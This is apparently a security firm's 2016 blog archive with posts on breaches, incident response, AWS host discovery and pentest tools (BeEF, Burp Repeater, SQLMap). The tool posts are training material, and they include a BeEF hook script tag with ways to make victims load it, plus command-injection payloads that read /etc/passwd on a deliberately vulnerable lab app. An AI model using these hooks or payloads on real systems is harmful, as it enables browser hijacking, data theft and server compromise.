Place Your Right Hand On This Glass

December 20th, 2016
A bored employee sits near a Delta-CLEAR station

A bored employee sits near a Delta-CLEAR station

One of the hassles of the Yahoo! breach was clearly the coming-home-to-roost quality of the mega-stupid 90’s era “something about you” secret questions, a relic of the “portal” fantasy-based business model, under which you were expected to voluntarily subvert the freedoms of the Internet by turning over all your new-found freedom by allowing one company to be your primary Internet gateway. That would never work… right, Facebook?

Anyway, since we all now know that we can only really have one mother’s maiden name unless we used a random-name generator to give mom a new maiden name for every site we visit (and few of us were clever enough to do that in the halcyon days before OnePass) – and hell, why would we? I mean, who would ever care about something like my mom’s maiden name, you ninny? – all of us would turn it all over like lemmings falling off the cliff of Internet stupid into a sea of despair, to finish the longest paragraph of mixed metaphors ever written in English.

I am reminded of this today, having recently turned in the chapter on mobile device security to Weldon Owen for our forthcoming book, Cyber Survival. In that, I refer to the case Commonwealth of Virginia vs David Charles Baust. In that landmark case (a friend rightly points out that, while many have raised it, it’s a state court decision and not a landmark), presiding judge Steven C. Frucci drew a very important distinction between a passcode and a fingerprint. It has been established in case law, Frucci ruled, that a passcode represents “testimonial communication.” Unlike with measurements, or a voice exemplar, or a handwriting sample, forcing someone to reveal his passcode is the government forcing him to testify and divulge through his mental processes something that is known only to the person. The password, if it exists, is not a physical thing, it is something that resides in the defendant’s mind.

On the other hand, a fingerprint is not testimony. Judge Frucci pointed to well established concepts that, “There is a significant difference between the use of compulsion to extort communications from a defendant and compelling a person to engage in a conduct that may be incriminating.” … “The privilege offers no protection against compulsion to submit to fingerprinting, photography or measurements, to write or speak for identification, to appear in court, to stand, to assume a stance, to walk, or to make a particular gesture.”

Frucci concludes that the act of exhibiting physical characteristics is just not the same as a sworn communication by a witness relating either express or implied assertions of fact or belief.

All this means that, basically, the court can’t force you to produce the combination to a lock, but it can make you produce the key to a lock.

Why do I bring all this up? Because it’s important. When forty-six squidgillion Yahoo! passwords and challenge questions about whether my mom used to be called Abromowitz or McGillicuddy out there in the Deep Juicy Goodness Of the Dark Recesses Of The Internet’s Lady Bits (or whatever is the current parlance for ‘places on the Internet where we can buy cool shit’), mixed and matched with the hundred and ninety four midvillion metaplippers of information on sale from the OPM disaster and the Target unpleasantness and the soon-to-come “small-cool-device-of-last-year-that-the-Chinese-copied-and-now-sell for-a-tenth-the-price” hack, all our datas really are all belong to them.

This came to me in sharp relief when the bored dude standing by the Delta-Clear gizmo today told me that, since I had a CLEAR account before the company went bust a few years ago, I still do. That’s right: whatever Chinese-funded entity that bought the assets of CLEAR bought my biometrics – and unlike my mother’s maiden name, which I actually can make up fresh every time, with my fucking iris scans, and my right handprint, they’ve been out there for the past five years or so. Gone. Poof.

When I hear lawyers talking about biometric security, I just laugh. As should you.

Data breaches are for real, yo. Sometimes the cost is your upcoming product.

Sometimes, the cost is your entire company.

Sometimes, the cost is, believe it or not, the digital personification of you (they and untold others still and forever have my fingerprints and iris scans).

Most of the time, though, for the next few years? It’s your credit card. So it’s all fine, right?

 

You Must Be This Tall . . .

December 19th, 2016

screen-shot-2016-12-18-at-19-58-44

Imagine going in to do an incident response at a fairly large customer that has no visibility within their firewalls, no intrusion detection, no sense of inventory, because they had no ability to run even the most basic of vulnerability scans across their network.

If I just described something that sounds a little scarily like where you work, listen up: the fact of the matter is, if you can’t answer basic questions about your network, about what makes it move data from left to right, top to bottom: about how your company takes keyboard clicks at one end of the value chain and turns them into money at the other, then your company has very large problems.

When you call an incident, the incident response team is going to find more than one incident in progress.

What you can do, if you find yourself working at such a company, is not accept it. And yes, we understand that there are always many political reasons, with money heading the list, why people do not have to do this work. But not doing the work creates an existential threat to the company. This isn’t a joke.

You simply must understand what normal looks like. If you don’t, no one can look at what you have and get you back to normal.

Matt Swann, a Principal Engineering Manager at Microsoft, has come up with his version of Maslow’s Hierarchy of Incident Response Capabilities, which begins with Inventory and Telemetry, or “What do you have” and “What can you see?”

It’s the illustration shown in this post, and while it is only at version 0.3, it’s the best I’ve seen yet to describe what we face every day.

Remember: the bottom two things – the foundation of the pyramid – are Inventory and Telemetry. I get asked all the time “How can I make my company better prepared for an incident?” I cannot emphasize enough the importance of these two things as preparation for that day.

It’s almost as if I’m saying that buying a threat feed just isn’t as important as understanding and being able to see inside your environment.

If you do nothing else in your company this coming year, work on getting an inventory.

You can get a good idea of what you have by running vulnerability assessment tools – a classic neat exercise remains taking diagrams of your subnets and then scanning those same subnets and seeing what is different. And then working to understand why.

The next thing is getting visibility into your traffic. We speak with customers literally every day about visibility, and I think maybe it is because so many people are selling ads for “threat intelligence,” that they seem terrified to do something and get started lest they do the wrong thing, so they do nothing, but for some reason, people seem hesitant to actually start putting tools on their network to see what is out there. Security Onion is a wonderful set of tools that can get you started at absolutely no cost, and you will soon start to get visibility into what is talking to whom, when, and – with a little finesse, you can infer why. I say again: it is free.

I showed this post to Matt, who commented:

“Another angle on this is to take an “assume breach” perspective: everyone is going to experience a breach, the question is “when” not “if”. If you haven’t built any of these capabilities before the breach, then afterwards you’ll have to bring in IR consultants to build all of these capabilities from scratch.

“It’s far better to build these capabilities now so that you can detect and respond to the breach in progress to limit the impact to your business.”

I could not agree more.

“Another angle is around “cyber insurance” — I would not be surprised to see insurance providers evaluating these capabilities within an organization to determine pricing and exposure.”

Matt said it best – these are the “Minimum requirements for me to help you” -> you must be this tall/have these capabilities for me to get you up the pyramid.”

That’s hard to if you’re going to spend the first four hours of our time together running through our inventory exercises.

To make one thing absolutely clear: if you as a company are unable to handle the bottom two layers of Matt’s pyramid – and I mean, absolutely understand both layers for your entire organization – not partial, not “except for our cloud services” or “except for our China operations” but everything – then when you get hit, your company faces a crisis that is expensive, reputationally damaging, and absolutely, entirely avoidable.

 

 

An Introduction to Javascript for XSS Payloads

November 19th, 2016

I recently got the opportunity to speak at B-Sides Charleston on cross-site scripting (XSS) payload development. For me, this was a really enjoyable opportunity because of my background. I was a software developer specializing in web apps for about 10 years. I did web development as a hobby for more than 10 years before that. I’ve had full stack responsibilities for most of my career. I switched between server-side platforms, and have had some exposure to most of them, but the javascript was a constant. I don’t like classifying developers by their language: a java developer, python developer, etc. I feel that it leads to a lot of incorrect assertions about how to judge the quality of a developer. That said, if I was going to label myself by a language, that language would be javascript. It’s the language that I find does the best job staying out of my way so that I can focus on the problem at hand. Its lack of constraints, compared to many other languages, serves me well.

The original VMs I used during my talk are available at https://github.com/mgillam/weaponizejs, and these demonstrate a lot of the same techniques shown here. There may be some rough edges, reach out if you have any issues making them work.

So from that perspective, a XSS opportunity is one of my favorite findings on a pen test. If you allow me to run my javascript in your web application, it’s really my web application. I determine what it looks like and I determine how it behaves, and any user input also belongs to me.

In this post, I would like to share some of the techniques I presented in my talk. These shouldn’t be thought of as standalone exploits, but rather a set of tricks you can use to achieve common goals. I’m going to skip over getting script execution in the first place. Getting script execution, and the challenges that go with it such as filter evasion, is specific to each individual site, if not the individual vulnerability. There’s no concrete set of answers, so that would just be a distraction. Let’s instead move on to what we can do once we have it.

Read the rest of this entry »

 

Statement by Nick Selby on Bishop Fox / Muddy Waters Report

October 24th, 2016

FOR IMMEDIATE RELEASE:

Statement by Secure Ideas Response Team Director Nick Selby on the Report Issued Today by Security Consultancy Bishop Fox

Media Contact: Ben Singleton

JACKSONVILLE, FL, OCT 24. Today, a technical report was released by the technology consultancy Bishop Fox, that was based on research  conducted by a team of which I was a part.

Bishop Fox has released a statement to the media on the subject. Like Bishop Fox, my involvement in this matter is strictly limited to providing technical verification of security matters relating to the St. Jude Medical lawsuit. Neither I nor the Secure Ideas Response Team, or Secure Ideas, LLC, hold any position with respect to St. Jude Medical, Muddy Waters, MedSec, the outcome of any litigation, or the effect on financial markets.

Any statements made, or actions taken, by MedSec or Muddy Waters outside the matters on which the Bishop Fox Team opined or evaluated are wholly their own and do not necessarily represent my opinions.

I proudly stand by the results of the independent analysis conducted by the Bishop Fox team, and I continue to remain impartially focused on technical understanding of security matters.

On a personal note, I am honored to have been selected by Bishop Fox to participate on this assignment.

Nick Selby
Director
Secure Ideas Response Team
Secure Ideas, LLC

 

Cloud-Base Host Discovery Is Easier Than You Think!

October 11th, 2016

During a recent conversation at DerbyCon it occurred to me that some security folks who are just dipping their toes into AWS are struggling a lot with the idea that cloud (EC2) instances keep popping up spontaneously. Developers and their agile / devops / continuous deployment methodologies are creating a chaotic mess of the network that has some security folks feeling like they are constantly in a game of whack-a-mole.  “I have to keep telling the developers to send me the IP address of new instances so I can scan them!” one security pro told me.  Running port scans across  the entire network every day may seem impractical.

If this sounds like your current situation, have no fear!  Amazon has a pretty slick solution that makes the use of port-scanning for discovering hosts obsolete.  It is called the AWS CLI (Command Line Interface).  When used with an API key configured with appropriate permissions, the CLI enables a significant degree of control over an AWS environment.  To get started with the CLI just visit the Amazon guide (https://aws.amazon.com/cli/).  You will find the downloads on the right-hand side, as indicated below:

aws_command_line_interface

Notice for Windows there is an actual installer but for Mac and Linux you can just use Python’s package installer “pip”.  If you don’t yet have pip installed, then you will need to do this first.  On my Debian/Ubuntu based system I ran:

apt-get install python-pip

On my Mac I find the easiest way to keep up with Python and pip (and several other things) is to install it through homebrew (see http://brew.sh/).

So assuming you have gotten this far and have the AWS CLI installed, you won’t be able to use it right away.  First you need an Access Key.  To get this, sign in to your AWS account, navigate to Identity and Access Management (IAM) and either:

  1. Select your account; or,
  2. Create a service account.

Note that for the service account you will also have to set up which subset of permissions the account will have.  Once you have decided which account is going to take advantage of the CLI, create a new access key from the Security Credentials tab:

iam_management_console

Once you create the key you will be presented with a dialog that displays the Access Key ID and Secret Access Key as follows:

iam_access_key

See that Download Credentials button prominently displayed in the bottom right-hand of the dialog?  Will this is the only time your Secret Access Key will ever be displayed so press that button and download your Access Key ID and Secret Access Key to a safe location.  You’re going to need them.

Once you have these in place, type from the command-line:

aws configure

This will prompt you for your keys as well as the AWS region you are communicating with, which will look something like:

AWS Access Key ID [None]: <Insert your key ID here>
AWS Secret Access Key [None]: <Insert your secret key here>
Default region name [None]: us-west-2
Default output format [None]:

Once this is complete you should be able to use the AWS CLI.  Of immediate interest is the ability to return a list of currently running hosts (e.g. the describe-instances command), which essentially skips the discovery step of a port scan completely.  Yep, that’s right.  Instead of scanning for instances, we just ask AWS for a list!  One way to return information is as follows:

aws ec2 describe-instances

You will see immediately that although the AWS CLI is very flexible, it tends to return more information than we really need.  To simplify things further I prefer to write Python scripts using the boto3 module.  This module provides relatively easy access to the AWS CLI functionality but within the Python interpreter.  To demonstrate just how easy things get I threw together a simple Python script called aws-list-hosts.py (on GitHub: https://github.com/JGillam/aws/tree/master/scripts).  Once you have AWS CLI running locally and boto3 installed (i.e. pip install boto3), you can run aws-list-hosts to return a list of ip addresses… convenient for feeding directly into NMap or your favorite vulnerability scanning tool.

By default it will just list internal IP addresses of running hosts in the default region, but there are options to filter on other run-states and to view public IP addresses.  You can see all the available options but by simply running

 python aws-list-hosts.py --help
usage: aws-list-hosts.py [-h] [--region REGION] [--profile PROFILE]
[--state {pending,running,shutting-down,terminated,stopped,stopping,all}]
[--group GROUP] [--public]

This really is just a tiny taste of  what can be done through the AWS CLI and Boto3.  If you are getting started with AWS I hope this will help you realize that managing assets in the AWS cloud can actually be less stressful and more automated than trying to manage them in a traditional network where host discovery through port scanning is the only way to find them.  View my github repo for the latest version of the script, and please let me know if you have ideas for other ways of filtering hosts or automating security scanning tasks through AWS CLI and Boto3.

Jason Gillam is a Principal Security Consultant with Secure Ideas. If you are in need of a penetration test or other security consulting services you can contact him at jgillam@secureideas.com, on Twitter @JGillam, or visit the Secure Ideas – ProfessionallyEvil site for services provided.

 

Incident Response services now available!

September 14th, 2016

Security Incident Response is like firefighting: it’s not something you need everyday, but when you need it, you want the best, and you want it fast.  We’re proud to announce our new cyber security incident response team, and we’d like to tell you what they do, and how best to utilize this new service. We call it SIRT – the Secure Ideas Response Team.

By helping to identify vulnerabilities and weaknesses within your network, we have worked with your organization to minimize the risk of a breach, and to limit the potential damage caused by such an occurrence. But cyber attacks are an inevitable reality of the world today.   We all have seen dramatic increases in cyber-attacks on American companies.  At Secure Ideas we want to prepare our customers for these business-disrupting events, and protect them from the incredibly high costs associated with a traditional breach recovery.

In the event of a security breach – like ransomware, a botnet, or other malware that brings down your business processes – you will need experts who have highly technical incident response training, and the equipment necessary to stabilize, recover, and restore your network environment. You need them fast.

SIRT is here to respond when a crippling attack happens.

Our focus is on stopping the emergency, stanching the flow of your data out of the network, and getting your critical systems back up, as fast as possible.

The costs associated with the restoration of a breach of business-critical systems can be in the millions. And that doesn’t include the costs resulting from customer liability claims, loss of intellectual property, or loss of revenue.

For Secure Ideas customers, there are two main ways you can engage this service: during an incident or on a retainer.

You could wait until you have an incident. When you do, you can give us a call, and SIRT will respond as quickly as they can.

But there are a few reasons why we recommend that you do not wait until you have an incident to take advantage of SIRT, and here’s the most important one:  It is much less expensive if you engage SIRT on a retainer.  We give SIRT customers a 24% discount on hourly rates if we have a retainer agreement in place. And, we bill for fewer hours, because we’ll already have a working knowledge of your network environment and we will have prepared for your emergency response.

Without an established relationship, we will have to begin the response with a rapid assessment, a questionnaire, and an exploratory evaluation of the network. Those take hours – hours that seem like days when you’re in the middle of an emergency.  For retainer customers, we conduct those exploratory questions and inventory in advance, at no cost. This means both that we will know what we are walking into when we receive your call, and that the overall costs of any response are lower:  when we respond to an incident, we charge by the hour – this preparation can save thousands.

SIRT Retainer customers get fast-track service. We promise our retainer customers a one-hour initial callback time, and priority scheduling. Which means we will be on site faster, working to minimize damage, and restore functionality.

We would love to discuss this with you, and send you the retainer agreement to review. Then we can get you in touch with our SIRT members, so that they can answer any questions you may have.  Feel free to reach out to us at info@secureideas.com.

 

A Brief BeEF Overview

September 8th, 2016

BeEF, the Browser Exploitation Framework,  is a testing tool that allows the penetration tester to look past hardened network perimeter and client system, and launch client side attacks directly against the targeted browsers providing pivot points to other systems.

In this guide I’ll be using Kali Linux, the penetration testing distribution created by the folks at Offensive Security. You can download an ISO or a VMWare image at www.kali.org.

For this example we are using version 0.4.6.1 of BeEF, in Kali run “apt-get update” to get the most recent version from the Kali maintainers. There may be features that you will need that are not available in this version, the BeEF website will have instructions on how to download and install those manually.

Kali makes installing BeEF very simple, you can use apt-get to install the package using:

root@kali:/# apt-get install beef-xss

After installation is complete we will navigate to directory beef resides in: /usr/share/beef-xss. Launch BeEF using the ./beef command and see the following. As you can see it is running on all network interfaces both internally and locally on port 3000.

cli copy

With BeEF now running we can navigate to the user interface panel at the URL: http://192.168.71.145:3000/ui/panel in the browser. This will redirect us to the authentication page, the default username and password: beef:beef.

auth copy

We are now logged in to BeEF and are presented with the Getting Started page.

getting started copy

Here BeEF will give you an overview of how it works including two demo pages.

The basic demo page:

basic demo copy

The advanced demo page:

advanced demo copy

As soon as either of these pages load the browser is hooked and we can now execute BeEF framework modules against it.

The BeEF hook is a JavaScript file hosted on the BeEF server that needs to run on client browsers. When it does, it calls back to the BeEF server communicating a lot of information about the target. It also allows additional commands and modules to be ran against the target.  In this example, the location of my BeEF hook is at http://192.168.71.145:3000/hook.js.

In order to attack a browser, we need to include our JavaScript hook in a page that the client will view. There are a number of ways to do that, but the easiest is to insert the following into a page and somehow get the client to open it.

<script src=”http://192.168.71.145:3000/hook.js” type=”text/javascript”></script>

In a real-world test, you could insert this link in a page via a compromised web server, inject it into traffic after a successful man-in-the-middle attack, or use social engineering techniques such as phone calls, emails, or social network links to get the target to visit the page.

Back in the BeEF user interface panel we will see a list of either online browsers or offline browsers that have been hooked and are present in BeEF logs. We will see our browser in the online browsers list. When we click on it BeEF will present us with 5 basic tabs: Details, Logs, Commands, Rider, and XssRays.

The Details tab will present us with details on the hooked browser and the host the browser is running on.

Details copy

The logs tab will show us shows us the a log of the events on that browser such a when it came online, mouse clicks within the page and user keystrokes. In the demo page I had typed “abcdef” in the text box, as you can see in the screenshot below those actions are all captured in the log.

log page copy

In the commands tab you will find a selection of commands and exploits that can be launched against your target. Each command has different colored icons that will indicate the validity of the command against that specific browser. Below is the definition of each color, this can be found on the Getting Started page.

command status

On the rider you can submit arbitrary HTTP requests on behalf of the hooked browser. The History panel records each request sent by the rider.

rider copy

The XssRays tab checks for XSS attack vulnerabilities on the page where the browser is hooked.
There is so much more you can do with BeEF. Experimentation is key to unlocking the different tools available in BeEF.

Doug Bigalke is a Security Consultant with Secure Ideas. If you are in need of an architecture review, penetration test, or other security consulting services you can contact him atdoug@secureideas.com, or visit the Secure Ideas site for services provided.

 

Burp Repeater

August 25th, 2016

As a consultant for Secure Ideas there are many tools I use often in my daily tasks.  One of the many great tools I use in web application testing is Burp Suite.

Burp Suite is an integrated platform for performing security testing of web applications.  Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application’s attack surface, through to finding and exploiting security vulnerabilities (‘https://portswigger.net/burp/’).  You may download it for free at http://portswigger.net.

During this demonstration I will be using a Virtual Machine of SamuraiWTF.  The Samurai Web Testing Framework is a virtual machine, supported on VirtualBox and VMWare, that has been pre-configured to function as a web pen-testing and training environment.  The VM contains the best of the open source and free tools that focus on testing and attacking websites. SamuraiWTF can be downloaded free of charge from https://sourceforge.net/projects/samurai/.

Be very mindful that if you start testing a web site without prior approval from the owner you could get yourself into a lot of trouble.  It’s kind of like going to your neighbor’s house sitting down at their kitchen table and having breakfast while they are still in bed on a Sunday morning.

Burp can require a lot of memory resources while testing.  I normally launch Burp by typing the following command at the command prompt:
‘java -Xmx4096m -jar {location of Burp jar file}’.  You can also select the application under Samurai/Mapping/Interception Proxies/Burp Suite in Samurai WTF VM.  Keep in mind that the Xmx option is setting the Java heap size, so if you have less than 8GB of memory, setting this to 4096M is probably not a good idea. 😉 For tips on setting up a Burp Automator script on your Mac, see our blog post on the topic.

If you have never installed Burp and are unfamiliar with the settings please refer to https://portswigger.net/burp/help/suite_gettingstarted.html to get it configured and set up for use.  Once launched select next and then start using Burp default settings then hit next and ensure intercept is off under the Proxy Tab.

Screen Shot 2016-08-22 at 8.44.39 AM

After you have Burp launched you may notice there are many tabs and features in Burp that serve different functions. The one tab we will discuss is the Repeater tab.  We will cover the others in further posts or you can join the web class on Burp Suite at http://www.secureideastraining.com.  Burp Repeater is a tool for manually modifying, reissuing individual HTTP requests, and analyzing their responses.  During our web penetration tests and our WebScout testing services, we use Repeater quite frequently as a method to manipulate various parameters within the application.  This allows us to manually test applications to discover a variety of flaws.  Especially with modern applications, this is a very important method for testing the security of the application.

Now let’s get to testing. First, we need to pick a web site and start mapping out the site.  I am using Firefox with Foxyproxy enabled and Burp Suite as my proxy on the Samurai WTF VM.

For this blog we are going to use bWAPP which is an intentionally buggy web application.  In Firefox navigate to http://bwapp/login.php, then log into bWAPP using bee/bug as the login. Start mapping out your site, by selecting all the different tabs throughout your application.

Screen Shot 2016-08-23 at 9.39.28 AM

In Burp under the Target tab right click on http://bwapp and add to scope.  By adding your target site to the scope, this will weed out any superfluous websites and keep your testing focused on what is in scope.

Screen Shot 2016-08-23 at 9.58.42 AM

One item I found while mapping the bWAPP site was an OS Command Injection hack.  This can be found under the bug list when logged in to bWAPP.

Screen Shot 2016-08-23 at 1.21.27 PM

I typed in my web site I wanted to lookup and then searched for the results in Burp.  Now I select the last entry in Burp’s Proxy tab which is where I performed the lookup and send that to Repeater by right clicking on the entry listed.

Screen Shot 2016-08-23 at 9.58.42 AM

Select the Repeater tab and then select Go, this will give you the current state of your page before anything is altered to give us a reference point.  This verifies the session is still active and the page does not block any replay of the request.  We want to compare what comes back in Repeater to what we received in our original request from the browser to make sure nothing has changed.

Now once the target parameter is sent to Repeater and we can manipulate the cookies login/password or any other interesting items in order to send this to other tools such as intruder, decoder or comparer.  These tools will be discussed in a later blog.

So let’s play around with this and see what happens when we add some things to the target field with “target=www.secureideas.com;ls -l” and select Go.  We can look at the results and see what was returned.

Screen Shot 2016-08-23 at 1.38.35 PM

Notice that we returned a directory file list of the website.  Now let’s dig a little further and change our target to “target=www.secureideas.com;cat /etc/passwd” and rerun the test.

Screen Shot 2016-08-23 at 1.51.03 PM

So using Repeater, we have discovered a Command Injection flaw within the application.  We can then take this information and pivot deeper into the server or the network we are targeting. So that is basically it for Burp Repeater.  It’s all about playing with different fields on the page and see what can be changed or manipulated to get a different result than intended?

In the next segment I will explore the Intruder tab another resourceful tool in Burp Suite which can be used to help in a Brute Force attack.  If you would like a more in depth tutorial on Burp please sign up for the Tactical Burp recorded class on the Secure Ideas web site at http://www.secureideastraining.com/courses.  If you have any questions or comments on my blog, feel free to reach out to us at https://www.secureideas.com or email me at larry@secureideas.com. 

 

Hours After The Penetration Test, This CSO Revealed Something That Will Leave You In Tears

August 18th, 2016

We all recognize clickbait when we see it. And yet thousands still click on the links. In today’s world of social media and ad-funded news, a range of techniques are utilized to grab your attention, some with more success than others. One of these, used in the title of this post, is to create a false sense of importance. Something significantly affected someone else and you need to know about it! The goal of all clickbait is to steal your focus and attention. We see the same thing in security.

The latest hot topics in security get the news coverage and ultimately the attention of readers. Often that filters down through corporate politics into the organization’s priorities. Sometimes that’s great. In April 2014, when the Heartbleed bug was announced, that got people’s attention for good reason. Suddenly patching became a priority and resources were diverted to addressing the threats. Though it’s worth asking why patching wasn’t such a priority previously.

Usually the latest news articles really shouldn’t affect information security policies. Occasionally during a penetration test we’ll be informed that the CEO (or other C-level) is concerned about Advanced Persistent Threats or some other random newsworthy topic, and wants to know what we have planned to simulate those attacks. Generally we find that those environments suffer from the most basic security flaws: no segmentation, lack of patching, default passwords, etc. APTs should be the least of their concerns, but because it’s in the news it directs their focus.

Whether it’s a news article, a blog post, or the build-up to the latest security conference, marketing professionals are focused on grabbing our attention. And they’re good at what they do. The problem is that very subtle manipulations, intended to make an article seem more important, have a negative effect on our credulity, our skepticism, and on the ways that we unwittingly make decisions about media-ized information. If we’re not careful, they can literally rewrite our thought patterns and change our intentions.

In reality, the security controls that made us better yesterday will still make us better today. Our focus should be on consistency and completeness rather than chasing the latest hot topic. The latest bug may mean that someone stays late to push some patches through, but it shouldn’t mean that we have to suddenly figure out how to patch systems that we never touch. Learning that Target was breached through a 3rd party HVAC vendor might prompt a review of firewall rules, but it shouldn’t cause a sudden awareness that segmentation is important.

The danger of chasing the latest threat is that it becomes a merry-go-round ride from which we can never escape. There will always be something else to worry about. Instead our corporate security programs should be well defined with intentional, incremental steps. Tomorrow’s newsmaker may warrant a review of how it fits into the plan of securing the organization, but rarely will it require us to drop everything to stave off disaster.

The oft-used adage is that security is a journey, not a destination. When we get distracted by current events, there’s a tendency to think, “We have to fix XYZ to be secure.” That thought is dangerous because it indirectly implies that security is a binary state of being. You are or you aren’t. In truth we can work towards becoming more secure, but we will never get there. It’s like a real-world example of Zeno’s Dichotomy paradox.

One last example of this false sense of importance is demonstrated with compliance initiatives. The goal of compliance is to demonstrate security through adherence to some standard. Unfortunately many organizations make compliance the end-goal instead of the security it was intended to affirm. This is often called the “Check the Box Mindset.” Corporate focus, and therefore resources, can be dedicated towards proving compliance, sometimes to the detriment of security initiatives. We often see this in assessments where clients want to significantly restrict the scope of testing to reduce the chance of negative findings. A better approach is be more inclusive of the testing scope, but allow us to write separate reports; one that covers only the compliant environment and another that speaks to the security of the entire system.

We live in a hostile world. Just as attackers are fighting for our networks, the media is fighting for our attention. And they both use incredibly creative means to divert our focus and exploit our tendencies. As security practitioners we have to intentionally set our plan and struggle to maintain it. Unexpected vulnerabilities and new attacks will occur, but very rarely should they require significant deviations to the plan.

Are you struggling to develop your security program, or not sure what to prioritize? Let us help. We work with organizations large and small to review your environment, outline areas of concern, and help build a strategy for improving your security posture.

Nathan Sweaney is a Senior Security Consultant with Secure Ideas. If you are in need of an architecture review, penetration test, or other security consulting services you can contact him at nathan@secureideas.com, on Twitter @eternalsecurity, or visit the Secure Ideas site for services provided.

 

SQLMap Beginnings: What and How

August 11th, 2016

Testing web based applications is not only fun but is often multi-faceted and challenging. Often times a web front end will have places for data input. Those that do, often store this information into some sort of back-end or database. The architecture will often be on a separate, dedicated purpose built host. This means that a connection from the web/application server [may be one or two separate hosts] must connect to the database in order to store or retrieve data. For firms that are data-centric in their business model, the data in the database may be some of the most sought after to unauthorized persons. This aspect of internet facing web based applications makes them a constant target. Not surprisingly, playing defense against the threat spectrum is a never ending game.

For those of us who are interested in protecting such data we must think like the ‘bad guys.’ This is an odd paradigm and admittedly, a bit uncomfortable at first for many. But since our goals are to find vulnerabilities and help in closing them before criminals do it becomes something we just do.

So when we encounter a situation where we suspect a database is being used, we want to be able to discover as much information as any nefarious person. This allows us to detect and understand what risk a vulnerability may expose our client to. In order to exploit any weakness, we first have to find it and before we do that we need to fingerprint the technology as much as possible. This work can be tedious but rewarding.

Knowing what technologies are being used help us narrow our focus. Is the application vulnerable to injection attacks? Can we bypass any security layers to obtain information from the database without using the correct credentials? The answer is,”it depends.” Experience will help but even that alone is often insufficient. What we need is a means for determining as much about the database as we can possibly obtain without triggering alarms. Not surprisingly, we often use tools for such tasks.

One such tool is SQLMap. It was made for obtaining data about a targeted database, which particular type of database is in place, how it is laid out, and if the application using the database is vulnerable to injection based attacks. SQLMap can perform such data gathering and more. It may also identify the operating system of the host where the database resides. For a web based target, It needs only a URL as input initially. Depending on what one finds, additional switches and options can be used to delve deeper into the target system.

Where do I obtain it?
There are several places to obtain SQLmap. You may download it and set it up on your platform of choice from the its web site SQLMap. Since the tool is written in Python, that must be installed before this tool will function. Python can be found at its own website but it is installed by default on several variants of Linux. No matter which platform you choose to use, ensure the version you select is the right one for the operating environment you wish to use.

SQLMap can be found pre-installed in the Samurai Web Testing Framework. Of course, we here at Secure Ideas are a bit biased when it comes to SamuraiWTF. SQLMap also comes with Kali – the open source Penetration Framework maintained and distributed by the team at Offensive Security.

Within Samurai WTF, SQLMap is located in the Exploitation/SQL folder or you can open a terminal and change to the /opt/samurai/sqlmap directory or select from the GUI:

While we won’t go into how to set up Kali or Samurai WTF, within Kali you will find SQLMap under both the ‘Web Application Analysis’ section as well as the ‘Database Assessment’ section.

sqlmap.in.kali

Getting Started
An alternative means of invoking SQLMap within Kali or SamuraiWTF is merely to type ‘sqlmap’ from a command line. Provided that Python is installed and in the PATH of the user context from which it is being invoked, it will be available. If using this method without switches, it will display its usage syntax. For example:

$python sqlmap

You will receive output that reminds you that the tool requires further parameters in order to operate. For example:

samuraiwtf@samuraiwtf-Desktop:~$ sqlmap
Usage: python sqlmap [options]
sqlmap: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, –wizard, –update, –purge-output or –dependencies), use -h for basic or -hh for advanced help

Note that there are several features that should be of particular interest in the output above. Firstly, the two ‘help’ switches ‘-h’ and ‘-hh’ are noteworthy because those will show basic help and advanced help respectively. The number of options are lengthy and will not all be covered here as they include options, target, requests, injection, detection, techniques, enumeration and other general information that we can use to pass to this tool.

However, the options that are listed after just invoking sqlmap show several switches that we can use to start using sqlmap.

If testing a web based application known or suspected of using a database, the minimum needed is the -u switch. This parameter followed by the uniform resource locator (URL) enclosed by double quote marks. This combination tells SQLMap the target we want it to interact with. An example would be:

$python sqlmap -u “http://www.secureideastraining.com/index.php?page=user-info.php”

In the above example the URL would be the target that you are authorized to test.

Now is a good time to mention that it is unethical and likely illegal to perform any sort of test of a site that you are not expressedly given written permission to do so. If you have not already done so, look into setting up your own virtual lab environment. Consider running virtual hosting software and running your own hosts to attack. One such applications is OWASP’s Mutillidae 2 Project. There are plenty of vulnerabilities intentionally included in Mutillidae so that you can run SQLMap against it. You could also use the variety of vulnerable targets built into the SamuraiWTF project.

For those who have never used this tool or are new to SQL databases, you may wish to use the ‘wizard’ switch. That is invoked by adding the –wizard to the end of the string noted above. For example:

$sqlmap -u “http://www.secureideastraining.com/index.php?page=user-info.php” –wizard

If used, you will be given several options to choose from regarding “injection difficulty level” and “Enumeration.” The selections are simple 1-3 choices and look like this:

[18:45:26] [INFO] starting wizard interface
POST data (–data) [Enter for None]: –data
Injection difficulty (–level/–risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (–banner/–current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
> 3

sqlmap is running, please wait..

One of the cool features of SQLMap is that it provides feedback on what other parameters that should be considered adding based on what it finds. For example”, the output from the –wizard selections that were selected above to run against a Mutillidae instance resulted in the following:

[18:51:16] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option ‘–time-sec’ as possible (e.g. 10 or more)
[19:41:12] [CRITICAL] all tested parameters appear to be not injectable. Try to increase ‘–level’/’–risk’ values to perform more tests. Also, you can try to rerun by providing either a valid value for option ‘–string’ (or ‘–regexp’) If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option ‘–tamper’ (e.g. ‘–tamper=space2comment’)

Note the suggestion to increase the level and risk values as well as the –string or –regexp, and even the –tamper options. Use the basic and advanced help features to explore additional options. SQLMap offers a rich feature set and the Security Professional should be familiar with its capabilities so it is well worth the time spent in learning to use it.

If you have any questions or comments, feel free to reach out at https://www.secureideas.com or email me at chris@secureideas.com. In the next segment I will explore some of the options that are useful in getting started with SQLinjection and SQLmap.